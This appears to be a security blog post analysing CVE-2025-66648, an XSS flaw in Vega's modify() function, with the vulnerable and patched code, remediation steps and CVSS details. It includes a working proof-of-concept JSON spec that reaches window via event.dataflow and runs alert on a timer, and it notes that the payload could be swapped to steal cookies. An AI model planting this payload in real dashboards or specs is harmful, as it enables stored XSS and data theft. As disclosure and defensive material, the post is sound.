CVE-2025-66648

Vega's Visual Betrayal: Leaking the Window via Internal Functions

Alon Barad
Alon Barad
Software Engineer

Jan 6, 2026·7 min read

Executive Summary (TL;DR)

Vega, the popular visualization grammar, failed to sanitize inputs to its internal `modify()` function. Attackers can craft a malicious JSON specification that traverses internal object references (via `event.dataflow`) to reach the browser's global scope (`window`). By passing a function reference like `window.alert` into `modify()`, the engine unwittingly executes it. Fixed in `vega-functions` 6.1.1.

A high-severity Cross-Site Scripting (XSS) vulnerability exists in the Vega expression language (`vega-functions`). By leveraging the internal `modify` function and traversing the `dataflow` object graph, attackers can access the global `window` object and execute arbitrary JavaScript.

The Hook: Charts That Bite Back

We tend to trust data visualizations. They are the shiny, well-behaved citizens of the web application world—declarative JSON objects that just want to render a bar chart or a scatter plot. Developers love them because they feel safe; after all, it's "just configuration," right? Wrong. In the world of complex visualization grammars like Vega, "configuration" is often a Turing-complete wolf in sheep's clothing.

Vega isn't just drawing lines; it's running a full-blown runtime environment to handle signals, events, and data transformations. At the heart of this runtime lies vega-functions, a package responsible for the expression language logic. It’s the engine room where the math happens.

CVE-2025-66648 is what happens when you leave the engine room door unlocked. It turns out that vega-functions exposed an internal function called modify that, when poked with the right stick, allows a malicious chart to step out of its sandbox, walk up the DOM tree, and take control of the browser window. It's not just a rendering bug; it's a logic flaw that turns a dashboard into a remote shell.

The Flaw: A fatal lack of Type Checking

The vulnerability resides in how Vega handles its expression language, specifically within the modify() function. This function is intended to update data tuples within the visualization's dataflow. It expects a dataset name, an ID, a field, and—crucially—a value or tuple to modify.

Here is the logic failure: JavaScript is loosely typed and incredibly permissive. The modify function in vega-functions takes a 5th argument (confusingly also named modify in the source code) which is supposed to be the new data. The engine then calls changes.modify(modify, key, values[key]).

The developers assumed this argument would always be a data object. They didn't anticipate that an attacker might pass a function reference instead. If you pass a function where an object is expected, and the downstream code invokes it or handles it improperly, you get execution.

But wait, how do you get a reference to a dangerous function like window.alert or eval inside a sandboxed Vega expression? You can't just type window. That is where the second part of this flaw comes in: Object Graph Traversal. Vega expressions have access to an event object. This object contains a reference to the dataflow engine, which holds a reference to the DOM element (_el) it is rendering to. From there, it's a hop, skip, and a jump to the global scope:

event.dataflow._el.ownerDocument.defaultView -> window.

This is the classic "Scope Escaping" technique. The door was locked, but they left the key under the mat, and the mat is reachable via event.dataflow.

The Code: The Smoking Gun

Let's look at the vulnerable code in packages/vega-functions/src/functions/modify.js. This is where the assumption that "users are nice" falls apart.

The Vulnerable Code:

export default function(name, insert, remove, toggle, modify, values) {
  // ... variable setup ...
 
  // The flaw: 'modify' is blindly passed to changes.modify
  if (modify) {
    for (key in values) {
      changes.modify(modify, key, values[key]);
    }
  }
}

There is zero validation on what modify actually is. If an attacker manages to pass a function reference into that argument, the internal logic of changes.modify (or simply the act of processing it) triggers the execution.

The Fix (Commit 47afa04):

The fix is almost disappointingly simple. It involves adding a strict type check to ensure the parameter is not a function. This kills the exploit path because the engine explicitly forbids function objects from entering the modification logic.

  if (modify) {
    // The Patch: Stop execution if 'modify' is a function
    if (isFunction(modify)) {
      throw Error('modify parameter must be a data tuple, not a function');
    }
    for (key in values) {
      changes.modify(modify, key, values[key]);
    }
  }

This is a classic example of defensive programming. Never assume your input—even deep internal input—is the type you expect it to be.

The Exploit: Climbing the DOM Tree

To exploit this, we need to craft a valid Vega specification (JSON) that defines a signal. We don't need user interaction; we can use a timer event to trigger the payload automatically.

Here is the attack chain:

  1. Define a Signal: We create a signal named tooltip (or anything else).
  2. Trigger via Timer: We set an event listener on a timer to fire every 2 seconds.
  3. Traverse to Window: In the update expression, we access event.dataflow. The dataflow object has a private property _el (the HTML element). That element has an ownerDocument. That document has a defaultView. Congratulations, you are now at window.
  4. Inject the Function: We call modify(), passing our discovered window.alert (or worse) as the parameter.

Proof of Concept:

{
  "$schema": "https://vega.github.io/schema/vega/v6.json",
  "data": [
    {
      "name": "table",
      "values": [{"category": "A", "amount": 28}]
    }
  ],
  "signals": [
    {
      "name": "pwn",
      "value": {},
      "on": [
        {
          "events": {"type": "timer", "throttle": 2000}, 
          "update": "modify('table', 2, 3, null, event.dataflow._el.ownerDocument.defaultView.alert, {'test': 'xss'})"
        }
      ]
    }
  ]
}

When this chart renders, it silently traverses the object graph, grabs the alert function, and forces the engine to execute it. In a real attack, alert would be replaced with a fetch request exfiltrating document.cookie or localStorage keys.

The Impact: Why Panic?

Vega is not just a toy for hobbyists. It is deeply embedded in the data science and analytics ecosystem. It powers visualizations in tools like Kibana (Elasticsearch), Jupyter Notebooks, and countless enterprise dashboards.

The Risk Profile:

  1. Stored XSS: If an application allows users to save custom visualization specs (common in dashboards), an attacker can plant this mine. When an admin views the dashboard, the script executes with admin privileges.
  2. Bypassing CSP: Because this exploit leverages existing functions found in the global scope (like window.fetch or window.alert) rather than injecting new strings of code to be evaluated, it might bypass weaker Content Security Policies that only block inline scripts or unsafe-eval but allow self.
  3. Data Exfiltration: Since these charts are usually rendering sensitive data, the XSS context is perfect for stealing that very data and shipping it to an attacker-controlled server.

This is a high-severity flaw because it turns the visualization layer—often considered trusted—into an active attack vector.

The Fix: Shutting the Door

Mitigation here is straightforward but urgent. The patch is applied in vega-functions version 6.1.1.

Remediation Steps:

  1. Audit: Check your package-lock.json or yarn.lock for vega-functions. If you see a version starting with 6.0 or any version < 6.1.1, you are vulnerable.
  2. Update: Run npm update vega-functions or yarn upgrade vega-functions. If you use the main vega package, ensure you update it to a version that pulls in the patched dependency.
  3. Sanitize: If you cannot upgrade immediately, you must sanitize Vega specifications before passing them to the runtime. However, detecting this specific traversal (event.dataflow._el...) via Regex is fragile and not recommended as a permanent fix.

Defense in Depth:

Consider using vega.expressionInterpreter to restrict the capabilities of the expression language, although this specific bug exploits the underlying function logic rather than the expression parser itself. A robust Content Security Policy (CSP) is your safety net—ensure unsafe-eval is disabled and strictly define where scripts can load from.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Affected Systems

vega-functions < 6.1.1Vega visualization libraryApplications embedding Vega (e.g., Kibana, Jupyter)

Affected Versions Detail

Product
Affected Versions
Fixed Version
vega-functions
Vega
< 6.1.16.1.1
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS Score7.2 (High)
Exploit StatusPoC Available
ImpactCode Execution / XSS
Vulnerability TypeImproper Input Neutralization
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Fix committed to Vega repository
2025-12-05
Public disclosure of CVE-2025-66648
2026-01-05
GHSA Advisory published
2026-01-05

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.